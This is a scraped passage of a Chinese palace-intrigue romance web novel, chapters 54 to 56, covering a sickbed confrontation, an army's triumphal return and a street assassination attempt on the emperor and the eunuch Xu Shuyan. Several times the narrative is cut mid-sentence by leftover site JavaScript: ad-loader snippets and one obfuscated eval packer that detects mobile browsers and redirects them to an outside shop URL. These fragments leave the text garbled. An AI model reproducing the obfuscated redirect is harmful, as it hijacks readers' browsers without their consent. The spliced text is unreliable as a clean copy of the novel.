徐纾言抬眼看他,眼眸不再是刚才那样愤怒中带着狠戾。在昏暗的烛光中,他的眼神带着一丝缱绻旖旎。 两个人不再剑拔弩张,徐纾言都显得柔和了许多。他一言不发,慢慢靠在床榻上。 乔昭见他不愿意躺着,也没说什么,将柔和的锦被拉高一些,盖在徐纾言身上。 随后转身。 徐纾言一把拽住乔昭的衣摆。 “你不准走,我们之间的话还没说清楚!” 徐纾言语气又凶又急,他声音有些干涩,似乎刚才的咳嗽伤到了他的嗓子。 乔昭沉默抽回自己的衣摆,徐纾言手里落了空。他脸色瞬间沉了下来,想要掀开被子下床。 徐纾言起身准备拦住乔昭,嘴里放着狠话:“乔昭若你今日走了,日后在朝堂上我定不会……” “不会怎样?不会放过我?掌印还是如此嚣张跋扈。”乔昭勾了勾唇角,略带笑意说道。 她垂眸,手持茶壶缓缓倒出一杯茶水,茶水温热,想必是有人定时来换的。 随后又端着茶杯像徐纾言走过去,看徐纾言把被子掀开,准备下床的模样。 乔昭眉头一皱,道:“病了还不安生吗?将被子盖上。” 徐纾言白皙的手指紧紧攥住锦被,他意识到乔昭不会走,又缓缓松开紧握的手。就这样直直的注视着乔昭向他走来的身影。 “喝点温水 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,润润嗓子。” 乔昭将杯子递给徐纾言,又将锦被给他盖好,随后坐在床榻边的小几上。 徐纾言接过茶杯,两人的手指不经意间相触又分开。徐纾言端着茶杯轻缀一口。 屋里空间封闭,就这样方寸之间,昏暗的光线下。两人一靠一坐,离得远又离得近,空气渐渐粘稠,让人有些喘不上气。 乔昭难得的有些不知道要说什么,沉默不语。早知道她平日里,只要她想,溜须拍马,不在话下。可是在今夜,她却一时语塞。 徐纾言也慢慢喝着温水,没有说话。因为茶水的浸润,他的嘴唇,泛着水亮亮的光泽。 乔昭莫名其妙的盯着人家的嘴唇,咽了咽口水。意识到自己的行为很奇怪,又立马转开视线,望着徐纾言的帐幔,一副正经人的模样。 当然徐纾言并没有发现这些,他只垂着眼眸,喝着水,感受心脏缓缓的跳动。 也不知道这水有哪里好喝的。 …… 良久。 乔昭说道:“今日听徐淮说掌印病了,所以我来看一下。对着徐淮说的话,冒犯了掌印,是乔昭的不是,还望掌印见谅。” 她又开始说那些弯弯绕绕的话,这都是她习惯用来撇清关系的说辞。 “所以你今夜来,是因为担心我吗?”徐淮直截了当的问了出来。 他才不管乔昭那些模棱两可,似是而非的话。 乔昭被他问得一愣,一时不知道怎么开口。 半晌,她抬眼看向徐纾言的双眸,干脆回复道:“是的。” 徐纾言有些懵了,他面上看起来镇静,其实脑子里一片空白。他的耳尖慢慢泛红。 “毕竟我们一路回京,又经历了那么多,乔昭私以为,和掌印也算得上关系不错的朋友。就算是别的朋友生了病,乔昭也会担心的。” 乔昭又说了句,昏暗的房间里,只有她温和的声音。 徐纾言盯着乔昭的眼睛,面色一寸一寸白了下去,眼眶渐渐红了。他动了动唇,又似乎不知道说什么,只能自嘲一笑。 “原来是朋友啊。”他垂下眼眸,低声说道 两人之间的氛围又奇怪了,徐纾言突然觉得难过,明明刚刚还柔和的光线,现下也显得冷硬起来。不然为什么乔昭带着笑意的脸,也变得冰冷。 徐纾言抬眼,双眸盈盈似水,冰冷中带着妩媚。他唇角一勾,冷笑道: “那乔都尉和谁不是朋友呢?和周行亭?” “兵部太尉周承远独子,周行亭,现任羽林卫中郎将。确实是年少有为,才气过人。这样的家世!这样的相貌!定然不仅仅只是乔都尉的一个普通朋友那样简单了。” “不似咱家一个阉人,能当上乔都尉的朋友,实在是荣幸之至。” 徐纾言抬眸笑着看向乔昭,慢悠悠的说着话,他说话阴阳怪气,言语又尖酸刻薄,轻描淡写的讽刺挖苦自己。 乔昭:? 这跟周行亭有什么关系啊? “你我之间的事,你扯周行亭干什么?”乔昭有些无奈说道。 54. 第54章 永和二十年,十月初九。秋意深浓,凉风渐起,大军凯旋,得胜归。 中京的清晨,太阳刚刚升起。宽阔朱雀门街两侧,人山人海,热闹纷繁,锣鼓喧天,百姓难掩脸上的欣喜,期盼的望着城门外。 乔昭一大早就到了城门外等候,她今日身着黑色戎装,外披银色盔甲,头戴青铜盔,战袍飘扬。 坐在马上,眸光肃然,眉眼透着英气,神采奕奕。 她身后的跟着的是五千定北军。整齐列队,安静肃穆。 乔昭虽然护送监军提早回京,可她仍属定北军,需要带领五千定北军,同大军一起凯旋。 十几万大军的凯旋,举国上下,皆十分重视。朝廷官员,无论文官武官,凡事在朝堂上有些地位的,从上到下,皆在城门楼上候迎。 以往宽广的城门楼,一时间竟有些拥挤。这些可都是北齐的肱骨大臣,奠定北齐江山社稷的基石。 现下皇帝还没来,大臣们三五两人,低声交谈着。 “老师,几日未在朝堂相见,学生正要去您府邸拜访。未曾想今日竟在此见到老师,实在欣喜。” 一位中年男人弯腰,语气恭敬的对着面前的老者。这位老者正是北齐三朝太傅,文官之首,宋祉。 宋祉年逾古稀,须发发白,双目炯炯有神,毫无老态龙钟只态。他笑道:“人老了,腿脚不利索,是该向圣上乞身,告老还乡了。” 中年男人满脸惶恐,更加恭敬道:“老师精神矍铄,身体康健,定然如日之恒,人寿年丰。” 宋祉爽朗一笑:“你还是如此能说会道,真是生了颗八巧玲珑心。” 那中年也讪讪笑道:“老师缪赞,承蒙师恩。” 随后他目光一转,看向一直站在老者身边,安静不语的青年男子。 看起来年纪不大,估摸弱冠之年。温文尔雅,芝兰玉树。他穿着翠色圆领大袖袍衫,腰束革带,清正雅致,颇有青竹挺拔之风姿。 绝非池鱼。 中年男人面带犹疑,问道:“这位公子看着丰神俊朗,在朝中竟从未见过。” 宋祉侧目看向身边之人,笑道:“我家长孙,今年新上任的翰林院侍读学士,想必你还未曾见过。” “原来是老师的长孙!难怪第一眼就觉得有人中龙凤之姿。看着真是仪表堂堂,又是翰林院侍读学士,前途不可限量。”那中年男人说这些好听的话。 “他资历尚浅,以后路还长着呢。路走得是宽还是窄,全凭他自己造化。”宋祉摆摆手,无甚所谓的说道。 “此言差矣,学士虽然年纪小,可是学识渊博,又有老师您保驾护航,定然走的是康庄大道。”男人殷勤笑道。 宋祉摸了摸花白的胡子,道:“我一把老骨头,可没那些子闲心管他们年轻人的事情。” “学士风姿秀逸,品貌非凡,日后定能扶摇直上。”男人又望着宋景洵笑道。 宋景洵抬眼看着面前恭维的男人,无甚表情,淡淡道:“先生缪赞。” ……………… 天空湛蓝,万里无云。太阳越升越高,城外大军还没有到,大臣们只能等着,索幸秋高气爽,天气宜人。 “皇上驾到!”高少监尖利的吊着嗓子,众人皆转身望过来。 顾昀之迎着阳光走了过来,今日定北军班师回朝,身为皇帝,他自然穿得庄重。他身穿冕服,明黄色锦袍,金线勾勒,左肩绣日,右肩绣月,正面则是金龙脚踩祥云纹案。 顾昀之身后跟着徐纾言,面色冷肃,肤色苍白,眼尾微微上挑,看着有些锐利。身着黑色四爪蟒袍,矜贵无比。 大臣们纷纷下跪,齐声高呼:“吾皇万岁。” “众爱卿平身。”顾昀之温和道。 “谢皇上。”大臣们纷纷起身。 顾昀之上前一步,扶住宋祉的手臂,将他搀扶起来。 他面带关切,道:“太傅年迈,朝会祭祀尽可不来,莫要累坏身子。” 宋祉笑道:“今日大军凯旋,是个喜庆日子,老臣也是来沾沾喜气。” 二人又寒暄一阵,徐纾言站在顾昀之身后安静不语,冷淡疏离。 他垂眸望着城门楼下方,静静凝视着。那里伫立着一只队伍,他们身穿黑色戎装,目光坚定,面容冷静。而最前方那位坐在马上的人,暗红色披风格外显眼。 是乔昭。 徐纾言抿了抿唇,眼睫微颤,难得有些出神。自那晚乔昭离开以后,他们已经好久没见了。 好像确实没有相见的理由。 因为顾昀之的到来,大臣们便不再左右交谈,略显严肃。气氛安静下来,大家都在静待大军凯旋。 午时三刻,远处开始传来阵阵马蹄声,由远及近,入闷雷阵阵,响彻耳畔。一面赤红色旗帜,缓缓露出地面,旗帜上面用金线勾勒出一个龙飞凤舞的大字-齐。 “大军凯旋!大军凯旋!!” 站在城门楼高处的将士看见远处缓缓而来的军队,大喜过望。他手持鼓槌,猛力敲击大鼓,鼓声响起,激昂人心。 众人神情一振,皆望向远处渐渐显露身影的定北军。 城门楼上的礼官开始奏乐,蓬勃向上,大气恢宏的御乐奏响。 十万大军,铺天盖地而来,千军万马压倒之势。战马激起的尘土喧嚣而上,赤红军旗被风吹得猎猎作响。 大军行至城门口,开始缓缓停下。乔昭驾马上前,行军礼:“参见元帅。” 乔愈年细致看了她一眼,随后正声道:“归队。” 五千定北军缓缓融入大军,形成一支完整的,无坚可摧的队伍。 待队伍彻底整队完毕,定北军将领齐齐下马。身后所有的将士也跟随将领翻身下马。 “吾皇万岁!”以乔愈年为首的定北军将领动作一致,向着城门口上方行下跪礼。 身后的十万北齐将士,也纷纷跟着下跪,齐声高呼:“吾皇万岁!” 声音雄浑嘹亮,响彻云霄。 顾昀之端正神情,面容肃穆,高声道:“众将士平身!” “谢皇上!”定北军齐齐起身。 …………………… 大军并不是全部都要进城的,大部分都会就在郊外兵营,日常兵卒操练。 因此只有一小部分军队能够进城,而这部分兵卒往往是在战场上奋勇杀敌,立下军功的将士。他们会在后面进行封赏。 虽然只有一小部分人,但是细数起来,也有几百人。 顾昀之携着一众大臣,下了城门楼,站在城门口。 往往大军凯旋,朝廷会在城门口摆接风宴,为众将士接风洗尘。虽然菜是真材实料,但是却少了真正用心品味它们的人。 都成了名利场的工具,早已失去起纯粹的本质。 乔愈年,郑冬青以及一众定北军将领,行至顾昀之面前,纷纷下马,上前行军礼。 这次顾昀之没等他们行礼,便说道:“众将士无需行礼。” 顾昀之面带喜色,朗声道:“乔元帅和郑将军在平定西戎,战功赫赫,今日大军凯旋,朕心甚慰。” 乔愈年和郑冬青忙回复道:“为北齐而战,实乃微臣之荣幸。” 顾昀之朗声一笑,道:“我北齐如此多能人志士,是北齐江山社稷之福报。” 他身后跟着的一众大臣,随声附和:“陛下所言甚是。” “今日设了接风宴,为大军接风洗尘。众爱卿们都坐吧。”顾昀之高声道。 “谢皇上。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 众人回复道 接风宴的气氛不似刚才庄严肃穆。现在松泛了很多,推杯交盏,三三两两饮酒笑谈,君臣之间其乐融融。 乔昭坐在乔愈年下方的位置,她还没有受封,也没有承袭爵位。现下这种群臣交际的场合,轮不到她说话。 她就这样百无聊赖的坐在席间,偶尔轻啜一口杯里的酒水,听着他与众人寒暄。 阿谀奉承的恭维话,或者是明里暗里挖坑的话。一句话能转八百个心眼子,听着都累了。 乔昭就这样默默发神,虽然她表面看着还一派正经,但其实早就神游天外了。 徐纾言就站在顾昀之身后,也有不少大臣趁着这个时候跟他搭话,但他都是兴致缺缺,爱搭不理的样子。 再加上他气质阴郁,不搭理人的时候看着有些吓人。有眼色的人都知道他现在没心情,也不敢再往他面前凑去。 徐纾言就这样隔着人群望向乔昭。 现下他们俩人的距离比之刚才在城门楼上只能看见她的身影,又进了许多。徐纾言可以清晰的看到乔昭的表情。 她好像不喜欢这样的场景。 徐纾言这样定定的看着她,乔昭又不是无知无觉,她十分敏锐,这样犹如实质的视线,她当然能感受到。 她轻轻抬眼,望向徐纾言,两人中间隔着许多的人,双目交汇在一起。 眼神是能透露出一个人的情感的,就比如现在因为乔昭望过来,而愣怔的徐纾言,内心渐渐升起隐秘的开心。 没等片刻。 乔昭又平淡的移开目光,仿佛刚才那一眼,只是她无意间的一撇,根本没带任何深意,甚至不是为了看他。 徐纾言白皙的手指渐渐攥紧,眉眼间刚刚松缓,现在又阴沉了下来。 仿佛是赌气一般,他也撇开视线,不再看向乔昭。 有点委屈,又有点骄矜。 而乔昭这边无甚影响,她当然不会那么蠢,大庭广众之下跟司礼监掌印眉来眼去。 这在场谁不是个人精,一言一行都能解读出各种深意。更何况徐纾言这个司礼监掌印,谁不看他几分脸色。 “你倒是回京过了好日子,我苦哈哈的一路风尘仆仆,乔昭你好日子过够了让我来过一过。” 有人重重拍了拍乔昭的肩膀,语气甚是熟稔,乔昭不客气的拂开他的手。 “我差点命都没了,这好日子给你要不要?”乔昭说着自己的风凉话。 林珩顺势坐在乔昭身边,夹了一筷子她面前的酥肉,塞进嘴里,囫囵道: “你这确实凶险,我还没到中京都有所耳闻了,还好你福大命大。” 随后他又靠近乔昭,贴近她的耳朵,低声道:“当初掌印偏要你护送他回京,他定然知道此番凶险,想找个厉害的跟着。但这不是纯粹害人嘛?!” 说完林珩还抬眼偷瞄了一眼徐纾言,恰好与徐纾言阴沉冷戾的目光撞上。林珩后颈一凉,连忙低头。 说别人坏话,被当事人发现,尴尬。 徐纾言看着林珩和乔昭贴的近,而乔昭完全不拒绝,苦涩渐渐涌上心头。他是知道林珩的,在肃州就与乔昭是并肩作战的队友。 所有人都能离她很近,但是唯独他不可以。 …… “乔昭,过来一下。”乔愈年在一边唤她。 乔愈年旁边站着的,是当朝太傅宋祉以及他的长孙宋景洵。 乔昭望过去,正巧与宋景洵双目对视,他面色平静,对着乔昭温和一笑,乔昭也礼貌勾了勾唇角,随后撇开视线。 她转头跟林珩打招呼:“我过去一趟。” 林珩吃着饭头也不抬,比个手势,示意知道了。 乔昭起身,向乔愈年他们走去。 55. 第55章 “小女乔昭,”乔愈年向宋祉介绍乔昭,“今年刚随我从肃州回京。” 随后他又对乔昭道:“这位是当朝文官之首,宋太傅。以及太傅长孙,翰林院侍读学士宋景洵。” 宋祉是北齐三朝太傅,论年龄都可以做乔愈年的父亲了。再加上宋祉在朝廷里颇有威望,桃李满门,因此乔愈年对宋祉也是恭敬有加。 乔昭端正神色,对着宋祉,躬身行礼:“乔昭见过太傅。” 宋祉摆摆手,笑道:“今日你们才是大功臣,不讲究那些虚礼。” 乔昭站在乔愈年身旁,对面是老太傅宋祉以及宋景洵。现在宴席上三三两两的大臣聚在一起,谈天说地,他们几人到显得并不起眼。 对面的宋祉摸着花白的胡子,看向乔昭,说道: “我在中京就曾听闻,我朝出了个骁勇善战的乔小将军,打得敌军落花流水,今日一见果然名不虚传!” 乔昭温和谦逊,道:“将士们众志成城,才能在战场上得胜而归,并不全是乔昭的功劳。” 宋祉大笑,中气十足,赞赏道:“乔小将军,还挺谦虚嘞!”他又说道,“不过在朝廷上,还是谦虚点好,戒骄戒躁,才能走得长远。” “谨遵太傅教诲。”乔昭行躬身道,不矜不伐,谦恭有礼。 宋景洵一直安安静静的站在一旁,温和浅笑,没有插话。他虽然安静不语,却不晓得疏离,似春风拂面般让人心生好感。 乔愈年适时夸赞宋祉身边的宋景洵: “听说景洵是今年的状元郎,殿试上大放异彩,想来应是满腹经纶,学富五车。” 在今年殿试上,殿试题为“士习不端,兹欲正士习以复道”,宋景洵见解独特,想法新颖大胆,让人眼前一亮,因此高中。 宋景洵抬眼,笑道:“满腹经纶不敢当,只是恰巧对于殿试出的题,有一些见解罢了。运气好些,得圣上赏识。” 乔昭也看向这位宋景洵,完全不认识。她久不回京,对于中京这些风云人物并不了解。 但是乔愈年唤他景洵,熟悉亲切,像是对待一个关系很好的后辈。可是乔昭真的从未见过宋景洵。 宋祉在旁边自谦道:“他也就是多读了点书,若要论起生活阅历来,比不上你家的小将军!” 乔愈年忙道:“太傅过谦了。” 宋祉又问道:“小将军年芳几何?” “双十年华,六月生辰。” 乔昭虽然有些奇怪,话题怎么会说着说着,说道她的年龄上面。但长辈问话,她还是如实答复。 宋祉面带诧异,笑道:“景洵今年恰逢弱冠之年,只是比你大几个月,没想到你二人竟如此有缘。” 宋景洵抬眸望向乔昭,目光平和如水。 乔昭也礼貌的勾唇浅笑,道:“确实挺有缘的。” 宋祉望向乔愈年,笑着摇摇头:“还是他们年轻人有话题交谈。” 四人站在寒暄交谈一番,更多的是两位长辈在说话。乔昭和宋景洵只在一旁,偶尔回复长辈的问话。 接风宴主要还是走个形式,为了庆祝大军凯旋,因此大家也只是寥寥吃了几口,就准备走下一个形式。 眼看宴席快要结束,身为元帅的乔愈年要开始整队,走过朱雀门街,因此不便再寒暄。 乔昭自然是跟着父亲一起离开的,她本来也不爱交际,自然没有太多的话好说。 临走时,宋景洵却突然叫住乔昭。 他双眸中带着笑意,问道:“在下骑射略有不佳。” “不知日后可否在小将军空闲时,请教骑射方面的问题。” 乔昭转头看他,有些惊讶。因为她和宋景洵实在不熟,而且宋景洵看着也不像是一个会去麻烦别人的人。 但是对方态度这么好,且两方的长辈都在场,乔昭不好拒绝。 她看向宋景洵,微微点头,道:“不妨事,日后学士有问题尽可随便问。” 宋景洵笑了笑,道:“好。” 乔昭礼节性点了点头,便转身跟在乔愈年身边离开了。 …………………… 接风宴过后,便是要整队齐过朱雀门街,今日的热闹程度,比之半月前徐纾言回京时更甚。并且此次经过的朱雀门街的,不止定北军。 皇帝圣驾在最前方,其次便是此次平定西戎的功臣,乔愈年、郑冬青为首,乔昭林珩跟在后面。最后是朝中各位大臣的马车。 可以说,整个北齐的基石,都在今日齐聚一堂,举国同欢。 因此,这次安保,比之前的任何一次,都要谨慎。不仅羽林卫全部出动,街道上还要许多禁军,人群中还有便衣兵卒。 只为了严防死守,不出一点差池。 周行亭凌晨天不亮就出了府,开始布防兵力,他身为羽林卫首领,很是尽心尽责。 “眼睛都给我盯牢了!只要发现有人异常,直接给押下去。今日就算是一只苍蝇,都不能放过!” 周行亭面色严肃,一丝不苟。 “是!”羽林卫沉声回应,齐齐出动。 尽管羽林卫平日里吊儿郎当,攀比成性。但是在国家大事上面,还是十分慎重。 皇帝圣驾不可谓不宏达。 六匹赤马载着明黄色的轿撵,轿撵宽大无比,顶端是一颗硕大的夜明珠。轿撵四方的帐幔都被撩了起来,以便百姓可以目睹天子圣颜。 轿撵四方围满了皇宫的羽林卫,都是从里面选出来的厉害军士,周行亭自然也在其中。 人群中有百姓是第一次目睹圣颜,激动大喊道:“吾皇万岁!” 人群中响起接二连三的:“吾皇万岁!” 一时间群情激荡,圣驾所过之处纷纷跪倒一片。 顾昀之上位,虽然处处被人掣肘,但他仍然做了些实事。于北齐百姓而言,是切身能感受到的好处,因此有人爱戴他十分正常。 …… 皇帝后面便是司礼监掌印的轿撵,他的轿撵是用五匹青马拉着,这是只有王公贵族才能有的待遇。 百姓们啧啧砸舌,说徐纾言只手遮天,那是一点也没错。哪个太监敢用五匹马来拉轿子,只有徐纾言敢堂而皇之的这样干。 以圣驾为首,浩浩荡荡向前行进着。 朱雀门街实在是太过热闹,密密麻麻都是人,站的高些看到都是一片黑压压的头发,嘻笑打闹的声音胡乱的交织在一起。 乔昭骑在马上,皱了皱眉头,因为四周实在有些太过吵闹。 热闹得有些奇怪,就像是全民狂欢。 她毕竟是从战场下来的,十分敏锐。直觉告诉乔昭,现在十分不对劲。 她的手开始摸向身后的鸣鸿刀,神色十分警惕。 人群中越来越热闹,甚至有人开始敲锣打鼓,一时间锣鼓喧天,喧闹声迅速蔓延。 “咚!咚!咚!!” 密集的鼓声听起来十分混乱,但又好像有一定的节奏。调动着人们的情绪,也让人的心脏不由发慌。 而一切都在愈发激烈的锣鼓声戛然而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 止的一刻,发生变化。 …… 朱雀门街两侧人山人海,人群中突然窜出来的许多人,他们皆穿着便衣,男男女女都有,完全看不出来有任何异常。 “杀!!” 他们没有任何预兆,抽出裤腿里的刀,直接砍向圣撵。突然出现的刺客,打得羽林卫措手不及。 “救驾!快来救驾!!”周行亭在最前方,立刻反应过来。 “保护圣上!立刻保护圣上!!” 他迅速握着刀,面容冷肃,退至顾昀之的圣驾四周。羽林卫迅速围在顾昀之身旁,形成一堵人墙。 然而事情并没有这么简单,四周的茶楼楼顶上,竟然出现几十名蒙面刺客,他们手持弓箭,向着人群中射去。 人群中开始慌乱起来,尖叫声不绝于耳,场面一时十分混乱。人们四处逃窜,马匹受惊,所有都不受控制起来。 徐霁和徐淮迅速围在徐纾言身边,徐纾言手下的净军也向他靠近。 那些握着刀的百姓,混在慌乱逃窜的百姓中,完全分辨不出来。一个面带焦急之色的人,下一秒突然持刀向你砍过来,简直防不胜防。 羽林卫开始不敌,他们没见过这样的大场面。现在场面太过混乱,感觉人群向潮水一般向他们涌来。 人墙渐渐被冲散,顾昀之的圣驾四周出现缺口。 歹徒立刻抓住这个缺口,其他人拖住羽林卫,几个厉害的迅速冲上前去! “杀了这个狗皇帝!!”歹徒暴吼一声。 这一切好像是冲着顾昀之来的,有人要杀他, 周行亭立刻抵挡,身边的羽林卫都被拖住了。他人手不够,渐渐开始有些吃力,脸上青筋暴起。 而徐纾言这边也不轻松,歹徒一分为二,分散在顾昀之,和徐纾言周围, 这是一场有预谋,针对性的谋杀。 …… 乔昭在刺客暴起的一瞬间,立刻握紧了鸣鸿刀。周行亭他们在漩涡中间或许发现不了什么,但是乔昭在外围就看得清清楚楚。 在百姓都在奔走逃跑的时候,有一堆人偏偏向顾昀之,徐纾言的轿撵冲过去。 她立刻率领定北军冲了上去,直接将歹徒的包围撕开一个口子。 当乔昭赶来支援的时候,周行亭已经有些脱力了。 那些歹徒就跟打车轮战一样,来了一批又一批,眼看着剑向自己劈来,周行亭只能用尽最后一丝力气来抵挡。 这羽林卫首领的位置还没坐热乎,就要见阎王爷了,真的好亏啊! 一把黑色大刀,闪着寒光,将剑隔开。快要劈向周行亭的剑瞬间转了个方向。 乔昭挥舞着大刀,直接将歹徒砍倒。 “这就不行了?未免有些太弱了吧。你还是得练。”乔昭还能抽空奚落周行亭两句。 “你!!”周行亭气结。 刚刚还在因为乔昭救了他而动容,现在就已经被气得不想说话了。 有了乔昭支援,顾昀之这边状况好了很多。 她迅速带领定北军将包围的歹徒打散,给顾昀之一行人留出空间逃跑。 “保护圣上,快走!”乔昭向周行亭大声吼道。 周行亭也立即抓住机会,羽林卫护着顾昀之向前奔去。 临走之前,周行亭回头焦急喊到:“乔昭!掌印还在后面。” 顾昀之逃了出去,那些歹徒更加疯狂,孤注一掷的冲向徐纾言。 乔昭回头望去,徐纾言的轿撵已经沦陷在人群中。 56. 第56章 当场面开始混乱起来,徐霁徐淮迅速持着武器,守在了徐纾言身旁。 人群实在太过拥挤,而这里面确实混杂了许多平民百姓。 若是一概而论,就地诛杀,未免太过残忍。且今日之事非同小可,若是死伤太多,难免激起民愤。 所以徐纾言吩咐净军以防守为主。但是这就使他们非常被动。 那些因为拥挤而摔倒的百姓,却在下一秒拿出匕首砍过来,战术阴险狡诈。徐霁徐淮中招了一两次,也就回过神来。 黑压压的人群,拥挤在他们身边。不仅要提防地上暗中袭击的人,还要注意空中破空而来的箭。 目前最要紧的,是要将人群分散,把徐纾言给送出去。若是一直被拖在这里,就是耗都得被耗死。 徐淮眼底掠过一丝晦暗,他面色一沉。持着鞭子,将面前的人卷住。那人面上带着惊恐,挣扎高呼道: “我不是刺客!我不是刺客!!你们抓错人了!” 徐淮才不管他在说什么,直接将鞭子狠狠一甩。那人猛的被摔了出去,鲜血从唇边溢出。徐淮面前空了一点位置。 他挑了挑眉,觉得这个法子好。 徐淮又故技重施,无论周围的百姓是好是坏,只要挡在了他的面前。全部都被鞭子卷住,摔了出去。有时候力气用的大些,那些人还严重到口吐鲜血。 徐霁在一旁,自然看见了徐淮的所作所为。他没说什么。只是下手愈发的重,面色越来越狠戾。 他们两个是只忠于徐纾言的,若是连徐纾言的命都快保不住了。他们才不管这些所谓的黎民百姓。 因为徐霁徐淮下手狠辣,整个队伍向前走了几步。但毕竟人太多,在惊恐的加剧下,大家都疯狂向后奔去。才空出来的位置,下一秒又被挤满了人。 犹如逆水向前,寸步难行。 …… 出事的时候,乔愈年最先想到的,就是要护住圣驾。他吩咐乔昭带着定北军,将包围圈撕开,把皇上带出来。 而乔愈年则去保护身后的大臣,护送他们离开。 顾昀之离开后,乔昭迅速折回来。这才发现徐纾言的轿撵已经彻底被人流淹没。 就徐霁徐淮,以及十几个净军,完全护不住他。 其实,最难解决的还是慌乱的人群,就像是没了理智四处逃窜。刺客藏匿其间,难以分辨。 杀又杀不得,出又出不去。 这才是他们的困境所在。 乔昭骑在马上,对着身边的林珩说道: “你去找个东西,把百姓都引开。多带几个人,把上面射箭的解决了。” 林珩脑子灵活,又与乔昭颇有默契,自然明白她心中所想。 “行,你自己注意安全。” 他嘱咐一句,然后调转马头,带了部分定北军离开。 乔昭率领剩下的定北军,冲了进去。 徐霁徐淮已经疲于应对,他们就像是在溺水的漩涡里,空有一身武艺,但是无处施展。 乔昭的强势闯入,就像是在岸边,一把伸出的援助之手。把他们拽了出来,可以短暂的歇一口气。 她紧握着鸣鸿刀冲进来的那一刻,徐淮真的是硬生生将乔昭看顺眼了。虽然乔昭对掌印十分无礼,但却是实打实的有能力。 短暂原谅她一段时间。 乔昭暂时没空管这么多,她对杀气十分敏锐。往往那些歹徒还没将刀拿出来,就已经被乔昭锁定,生命结束。 她握着鸣鸿刀,很强势的守在徐纾言的轿撵旁。面色冷肃的样子,仿佛一尊煞神。 有一个男人面上一副畏畏缩缩的模样,随着人流奔走。然后趁着所有人都不注意的时候,爬上了轿撵。 他神情变得可怖,一把掀开帐幔,恶狠狠的想要去掐住徐纾言的脖子。 徐纾言立刻闪开,那个男人扑了空,小桌上的杯盏碎裂。 男人又迅速反应过来,怒吼一声: “杀不了狗皇帝,还杀不了你这个阉人?!” 徐纾言面容沉着,他紧紧握紧手中的碎瓷片。在男人扑过来的时候,干脆迅速扎向他的颈部大动脉。 但是碎片毕竟杀伤力不够,流血的男人更加兴奋。脸上再也看不出方才的畏缩,只余下狰狞。 “徐纾言,今日便是你的死期!”他迅速按住徐纾言,双手犹如利爪,像徐纾言的脖颈而去。 这所有的一切,发生的太快。这个男人看着如此懦弱,甚至手上连武器都没有,谁能预料到他是歹徒。 电光火石之间,已到了生死存亡时刻。 下一刻,冒着凛冽寒光的匕首,划过脖颈。鲜血喷涌而出,甚至溅到了徐纾言的脸上。 男人狰狞的神色也定格在那一刻,他仿佛有些不可置信。但喉咙咕噜涌出的鲜血,代表着他的生命已经走到了终点。 乔昭一把抓住男人的后颈,利落的丢了出去。 徐纾言有些怔愣。他全程都很冷静,哪怕是面对生死的时候,也是冷静沉着,想着如何逃脱。 唯有看到乔昭的时候,他怔忪片刻,好像是有些反应不过来。 她什么时候来的?他以为乔昭不会管他的。 乔昭脸上煞气未退,杀了这么多人,很难保持温文尔雅的假面。 她抬起手,粗鲁的将徐纾言脸上的鲜血擦掉,露出他有些苍白的脸。 “吓到了?不用怕,我会把你带出去的。” 徐纾言抬眼看向她,他的眼皮上还有没擦掉的暗红的血,与他白皙的肌肤形成强烈的对比。 他呐呐道:“乔昭。” 有些不可置信,但是语调又很软。 乔昭没注意到这些,她将手里的玄铁匕首,迅速塞到徐纾言修长的手里。匕首甚至还在滴滴答答的滴着血。 “你拿着这个匕首,等会儿我在前面驾着马车冲出去。如果有人爬车,你就迅速往他的脖颈划去。” 她快速说着,又向徐纾言比划着解释。 “脖颈你知道吗?就在这里,只要轻轻一刀,他们就会死。” 乔昭说的很迅速,又很仔细。害怕徐纾言理解不了,甚至比划着动作。 她完全把徐纾言看成了一个手无缚鸡之力,需要别人保护的娇贵的花。 可是徐纾言一路向上爬,腥风血雨什么没有见识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164527|131900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过? 哪里可以一刀毙命,哪里又让人疼痛难忍,生不如死。这些可都是他行刑拷打他人时,熟悉的不能再熟悉的东西。 乔昭说完,没来得及看徐纾言的反应。就快速退了出去,坐在马车前方。她狠狠扬鞭,马匹吃痛,迅速向前奔去。 …… 外面的形式已经有了变化。 林珩手持这一把赤红色的旗帜站在高处,亮眼又醒目,他振臂一呼: “乡亲们!!都随我这边走!这里可以逃出去!!” 慌乱的人群犹如无头苍蝇,四处乱撞。但是有人站在高处指挥,他们就像是找到了主心骨,开始往林珩的方向涌去。 人群渐渐散开,无辜的百姓不再做刺客的掩护。 浑水摸鱼,捉不住你。现在直接将水抽干,你再是水里霸王,也只能现出原形。 乔昭驾着马车向前奔去,徐霁徐淮垫后拦住那些刺客。只要过了朱雀门街,进入朱雀门,一切就安全了。 皇城平民百姓不可入,还有兵卒把手,平日里都是紧闭大门。自然不可能有刺客装作平民混进去。 虽然从漩涡中脱离出来,但是马车经过的这一路,都埋藏着危险。时不时就有人搞偷袭,乔昭一心二用,勉强可以应付。 一路上有惊无险。 眼看着快要到朱雀门前,竟然有好几个人从暗处扑了过来,乔昭挥舞着鸣鸿刀,与他们缠斗起来。 乔昭猜的没错,果然有人要爬车。她现在有些分身乏术,这几个人,明显和刚刚那群刺客,不是一个量级的。 他们下手更加狠辣,也更加迅速,且招招都是致人于死命。乔昭一个人应对几个人,不算轻松。 她向马车撇一眼,就看着有人拿着剑向徐纾言刺去。徐纾言侧身躲开,但是锋利的剑仍然从他的脸上划过。 迅速出现一条血痕。 乔昭心里着急,但是分身乏术。 她大喊一声:“杀了他,脖颈!” 徐纾言的动作,几乎和乔昭的话同时发出。 